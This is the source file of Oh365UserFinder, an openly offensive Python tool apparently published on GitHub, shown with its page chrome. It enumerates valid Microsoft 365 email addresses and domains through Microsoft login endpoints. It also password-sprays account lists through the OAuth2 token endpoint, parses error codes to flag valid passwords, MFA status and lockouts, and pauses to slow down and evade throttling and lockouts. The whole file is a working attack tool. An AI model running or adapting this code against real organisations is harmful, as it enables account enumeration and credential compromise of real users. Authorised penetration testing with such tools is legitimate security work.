-
-
Notifications
You must be signed in to change notification settings - Fork 94
/
Copy pathoh365userfinder.py
493 lines (470 loc) · 20.2 KB
/
oh365userfinder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
#!/usr/bin/python3
import requests as o365request
import argparse
import time
import re
import textwrap
import sys
from colorama import Fore, Style, init
def definitions():
global info, close, success, fail
info, fail, close, success = (
Fore.YELLOW + Style.BRIGHT,
Fore.RED + Style.BRIGHT,
Style.RESET_ALL,
Fore.GREEN + Style.BRIGHT,
)
def banner():
print(Fore.YELLOW + Style.BRIGHT + "")
print(
" ____ __ _____ _____ ______ __ __ _______ __ "
)
print(
" / __ \\/ /_ |__ // ___// ____/ / / / /_______ _____ / ____(_)___ ____/ /__ _____"
)
print(
" / / / / __ \\ /_ </ __ \\/___ \\ / / / / ___/ _ \\/ ___/ / /_ / / __ \\/ __ / _ \\/ ___/ "
)
print(
"/ /_/ / / / /__/ / /_/ /___/ / / /_/ (__ ) __/ / / __/ / / / / / /_/ / __/ / "
)
print(
"\\____/_/ /_/____/\\____/_____/ \\____/____/\\___/_/ /_/ /_/_/ /_/\\__,_/\\___/_/ \n"
)
print(
" Version 1.1.2 "
)
print(
" A project by The Mayor "
)
print(
" Oh365UserFinder.py -h to get started \n"
+ Style.RESET_ALL
)
print("-" * 90)
def options():
opt_parser = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent(
"""---Validate a Domain Name in O365---
python3 Oh365Finder.py -d mayorsec.com\n
---Validate a single email---
python3 Oh365UserFinder.py -e [email protected]\n
---Validate a list of emails and write to file---
python3 Oh365UserFinder.py -r testemails.txt -w valid.txt\n
---Validate a list of emails, write to file and timeout between requests---
python3 Oh365UserFinder.py -r emails.txt -w validemails.txt -t 30\n
---Validate a list of emails and write to CSV---
python3 Oh365UserFinder.py -r emails.txt -c validemails.csv -t 30\n
---Password Spray a list of emails using GRAPH--- (Can be used to identify valid account credentials with MFA enabled)
python3 Oh365UserFinder.py -p <password> --pwspray --elist <listname>\n
---Password Spray a list of emails using GRAPH with lockout policy timer---
python3 Oh365UserFinder.py -p <password> --pwspray --elist <listname> --lockout <time>\n
"""
),
)
opt_parser.add_argument("-d", "--domain", help="Validate if a domain exists")
opt_parser.add_argument(
"-e", "--email", help="Runs o365UserFinder against a single email"
)
opt_parser.add_argument("-r", "--read", help="Reads email addresses from file")
opt_parser.add_argument(
"-t", "--timeout", help="Set timeout between checks to avoid false positives"
)
opt_parser.add_argument("-w", "--write", help="Writes valid emails to text file")
opt_parser.add_argument("-c", "--csv", help="Writes valid emails to a .csv file")
opt_parser.add_argument(
"-v", "--verbose", help="Prints output verbosely", action="store_true"
)
opt_parser.add_argument(
"-gs",
"--pwspray",
help="Password sprays a list of accounts using GRAPH",
action="store_true",
)
opt_parser.add_argument(
"-l", "--lockout", help="Sets the lockout timer if known (in minutes)"
)
# opt_parser.add_argument(
# '-ps', '--pwspray', help='Password sprays a list of accounts using RST', action='store_true')
opt_parser.add_argument("-p", "--password", help="Password to be tested")
opt_parser.add_argument("-el", "--elist", help="Valid emails to be tested")
global args
args = opt_parser.parse_args()
if len(sys.argv) == 1:
opt_parser.print_help()
opt_parser.exit()
ms_url = "https://login.microsoftonline.com/common/GetCredentialType"
def main():
if args.timeout is not None:
print(
info
+ f"[info] Timeout set to {args.timeout} seconds between requests.\n"
+ close
)
counter = 0
timeout_counter = 0
print(
Fore.YELLOW
+ Style.BRIGHT
+ f"\n[info] Starting Oh365 User Finder at {time.ctime()}\n"
+ Style.RESET_ALL
)
if args.email is not None:
email = args.email
s = o365request.session()
body = '{"Username":"%s"}' % email
request = o365request.post(ms_url, data=body)
response_dict = request.json()
response = request.text
valid_response = re.search('"IfExistsResult":0,', response)
valid_response5 = re.search('"IfExistsResult":5,', response)
valid_response6 = re.search('"IfExistsResult":6,', response)
invalid_response = re.search('"IfExistsResult":1,', response)
desktopsso_response = re.search(
'{"DesktopSsoEnabled":true,"UserTenantBranding":null,"DomainType":3}',
response,
)
throttling = re.search('"ThrottleStatus":1', response)
if args.verbose:
print(
"\n",
email,
s,
body,
request,
response_dict,
response,
valid_response,
valid_response5,
valid_response6,
invalid_response,
desktopsso_response,
"\n",
)
if (
desktopsso_response
and not valid_response
or valid_response5
or valid_response6
):
a = email
b = " Result - Desktop SSO Enabled [!]"
print(info + f"[!] {a:51} {b} " + close)
if invalid_response and not desktopsso_response:
a = email
b = " Result - Invalid Email Found! [-]"
print(fail + f"[-] {a:51} {b}" + close)
if valid_response or valid_response5 or valid_response6:
a = email
b = " Result - Valid Email Found! [+]"
print(success + f"[+] {a:53} {b} " + close)
if throttling:
print(
fail
+ "\n[warn] Results suggest O365 is responding with false positives. Retry the scan in 60 seconds."
+ close
)
sys.exit()
if args.timeout is not None:
time.sleep(int(args.timeout))
elif args.read is not None:
with open(args.read) as input_emails:
for line in input_emails:
s = o365request.session()
email_line = line.split()
email = " ".join(email_line)
body = '{"Username":"%s"}' % email
request = o365request.post(ms_url, data=body)
response = request.text
valid_response = re.search('"IfExistsResult":0,', response)
valid_response5 = re.search('"IfExistsResult":5,', response)
valid_response6 = re.search('"IfExistsResult":6,', response)
invalid_response = re.search('"IfExistsResult":1,', response)
throttling = re.search('"ThrottleStatus":1', response)
desktopsso_response = re.search(
'{"DesktopSsoEnabled":true,"UserTenantBranding":null,"DomainType":3}',
response,
)
if args.verbose:
print(
"\n",
s,
email_line,
email,
body,
request,
response,
valid_response,
valid_response5,
valid_response6,
invalid_response,
desktopsso_response,
"\n",
)
if desktopsso_response:
a = email
b = " Result - Desktop SSO Enabled [!]"
print(info + f"[!] {a:51} {b} " + close)
if invalid_response and not desktopsso_response:
a = email
b = " Result - Invalid Email Found! [-]"
print(fail + f"[-] {a:51} {b}" + close)
if valid_response or valid_response5 or valid_response6:
a = email
b = " Result - Valid Email Found! [+]"
print(success + f"[+] {a:51} {b}" + close)
counter = counter + 1
if args.write is not None:
a = email
with open(args.write, "a+") as valid_emails_file:
valid_emails_file.write(f"{a}\n")
elif args.csv is not None:
a = email
with open(args.csv, "a+") as valid_emails_file:
valid_emails_file.write(f"{a}\n")
if throttling:
if args.timeout is not None:
timeout_counter = timeout_counter + 1
if timeout_counter == 5:
print(
fail
+ f"\n[warn] Results suggest O365 is responding with false positives."
)
print(
fail
+ f"\n[warn] O365 has returned five false positives.\n"
)
print(
info
+ f"[info] Oh365UserFinder setting timeout to 10 minutes. You can exit or allow the program to continue running."
)
time.sleep(int(300))
print(info + f"\nScanning will continue in 5 minutes.")
time.sleep(int(270))
print(info + f"\nContinuing scan in 30 seconds.")
time.sleep(int(30))
timeout_counter = 0
# sys.exit()
else:
print(
fail
+ f"\n[warn] Results suggest O365 is responding with false positives. Sleeping for {args.timeout} seconds before trying again.\n"
)
time.sleep(int(args.timeout))
else:
print(
fail
+ "\n[warn] Results suggest O365 is responding with false positives. Restart scan and use the -t flag to slow request times."
+ close
)
sys.exit()
if args.timeout is not None:
time.sleep(int(args.timeout))
if counter == 0:
print(fail + "\n[-] There were no valid logins found. [-]" + close)
print(info + f"\n[info] Scan completed at {time.ctime()}" + close)
elif counter == 1:
print(
info
+ "\n[info] Oh365 User Finder discovered one valid login account."
+ close
)
print(info + f"\n[info] Scan completed at {time.ctime()}" + close)
else:
print(
info
+ f"\n[info] Oh365 User Finder discovered {counter} valid login accounts.\n"
+ close
)
print(info + f"\n[info] Scan completed at {time.ctime()}" + close)
elif args.domain is not None:
domain_name = args.domain
print(info + f"[info] Checking if the {domain_name} exists...\n" + close)
url = f"https://login.microsoftonline.com/getuserrealm.srf?login=user@{domain_name}"
request = o365request.get(url)
# print(request)
response = request.text
# print(response)
valid_response = re.search('"NameSpaceType":"Managed",', response)
valid_response1 = re.search('"NameSpaceType":"Federated",', response)
if args.verbose:
print(domain_name, request, response, valid_response)
if valid_response:
print(
success
+ f"[success] The listed domain {domain_name} exists. Domain is Managed.\n"
+ close
)
elif valid_response1:
print(
success
+ f"[success] The listed domain {domain_name} exists. Domain is Federated.\n"
+ close
)
else:
print(
fail
+ f"[info] The listed domain {domain_name} does not exist.\n"
+ close
)
print(info + f"[info] Scan completed at {time.ctime()}" + close)
elif args.pwspray:
lockout_counter = 0
with open(args.elist) as input_emails:
for line in input_emails:
email_line = line.split()
email = " ".join(email_line)
password = args.password
s = o365request.session()
body = (
"grant_type=password&password="
+ password
+ "&client_id=4345a7b9-9a63-4910-a426-35363201d503&username="
+ email
+ "&resource=https://graph.windows.net&client_info=1&scope=openid"
)
requestURL = "https://login.microsoft.com/common/oauth2/token"
request = o365request.post(requestURL, data=body)
response = request.text
valid_response = re.search("53003", response)
account_doesnt_exist = re.search("50034", response)
account_invalid_password = re.search("50126", response)
account_disabled = re.search("The user account is disabled", response)
valid_response1 = re.search("7000218", response)
password_expired = re.search("50055", response)
account_locked_out = re.search("50053", response)
mfa_true = re.search("50076", response)
mfa_true1 = re.search("50079", response)
desktopsso_response = re.search(
'{"DesktopSsoEnabled":true,"UserTenantBranding":null,"DomainType":3}',
response,
)
conditional_access = re.search("50158", response)
if args.verbose:
print(
"\n",
email,
s,
email_line,
email,
body,
request,
response,
valid_response,
account_doesnt_exist,
account_invalid_password,
account_disabled,
valid_response1,
password_expired,
account_locked_out,
mfa_true,
mfa_true1,
desktopsso_response,
conditional_access,
"\n",
)
if valid_response:
counter = counter + 1
b = success + "Result - " + " " * 1 + "VALID PASSWORD! [+]"
print(success + f"[+] {email:44} {b}" + close)
if valid_response1:
counter = counter + 1
b = success + "Result - " + " " * 15 + "VALID PASSWORD! [+]"
print(success + f"[+] {email:44} {b}" + close)
if account_doesnt_exist:
b = " Result - " + " " * 14 + "Invalid Account! [-]"
print(fail + f"[-] {email:43} {b}" + close)
if account_disabled:
b = "Result - " + " " * 13 + "Account disabled. [!]"
print(info + f"[!] {email:44} {b}" + close)
if account_locked_out:
b = "Result - " + " " * 13 + "LOCKOUT DETECTED! [!]"
print(info + f"[!] {email:44} {b}" + close)
lockout_counter = lockout_counter + 1
# if args.lockout:
# lock_time = args.lockout
# lockout = int(lock_time)
# if args.lockout is None:
# lock_time = 1
# lockout = int(lock_time) * 60
# if lockout_counter == 3:
# print(fail + f'\n[warn] Multiple lockouts detected.\n')
# print(info + f"Waiting {lockout} seconds before continuing.")
# time.sleep(int(lockout))
# timeout_counter = 0
# lockout_counter = 0
if lockout_counter >= 3:
print(info + "[!] Warning - three lockouts detected.\n" + close)
lockout_answer = input(
"Would you like to wait a while before continuing? (y/n)"
)
if lockout_answer.lower() == "y":
print(info + "[!] Waiting ten minutes before continuing.")
time.sleep(600)
lockout_counter = 0
continue
else:
lockout_counter = 0
continue
if desktopsso_response:
a = email
b = " Result - Desktop SSO Enabled [!]"
print(info + f"[!] {a:51} {b} " + close)
if account_invalid_password:
a = email
b = " Result - " + " " * 10 + "Invalid Credentials! [-]"
print(fail + f"[-] {email:43} {b}" + close)
if password_expired:
a = email
b = " Result - " + " " * 7 + "Expired - Try Resetting [!]"
counter = counter + 1
print(info + f"[!] {email:43} {b}" + close)
if mfa_true:
counter = counter + 1
a = email
b = "Result - VALID PASSWORD - MFA ENABLED [+]"
print(success + f"[+] {email:44} {b}" + close)
if mfa_true1:
counter = counter + 1
a = email
b = "Result - MFA ENABLED NOT YET CONFIGURED [+]"
print(success + f"[+] {email:44} {b}" + close)
if conditional_access:
counter = counter + 1
a = email
b = "Result - Duo MFA or other conditional access [+]"
print(success + f"[!] {email:44} {b}" + close)
if args.timeout is not None:
time.sleep(int(args.timeout))
if counter == 0:
print(fail + "\n[-] There were no valid logins found. [-]" + close)
print(info + f"\n[info] Scan completed at {time.ctime()}" + close)
elif counter == 1:
print(
info
+ "\n[info] Oh365 User Finder discovered one valid credential pair."
+ close
)
print(info + f"\n[info] Scan completed at {time.ctime()}" + close)
else:
print(
info
+ f"\n[info] Oh365 User Finder discovered {counter} valid credential pairs.\n"
+ close
)
print(info + f"\n[info] Scan completed at {time.ctime()}" + close)
else:
sys.exit()
def new_func():
return 60
if __name__ == "__main__":
try:
init()
definitions()
banner()
options()
main()
except KeyboardInterrupt:
print("\nYou either fat fingered this, or meant to do it. Either way, goodbye!")
quit()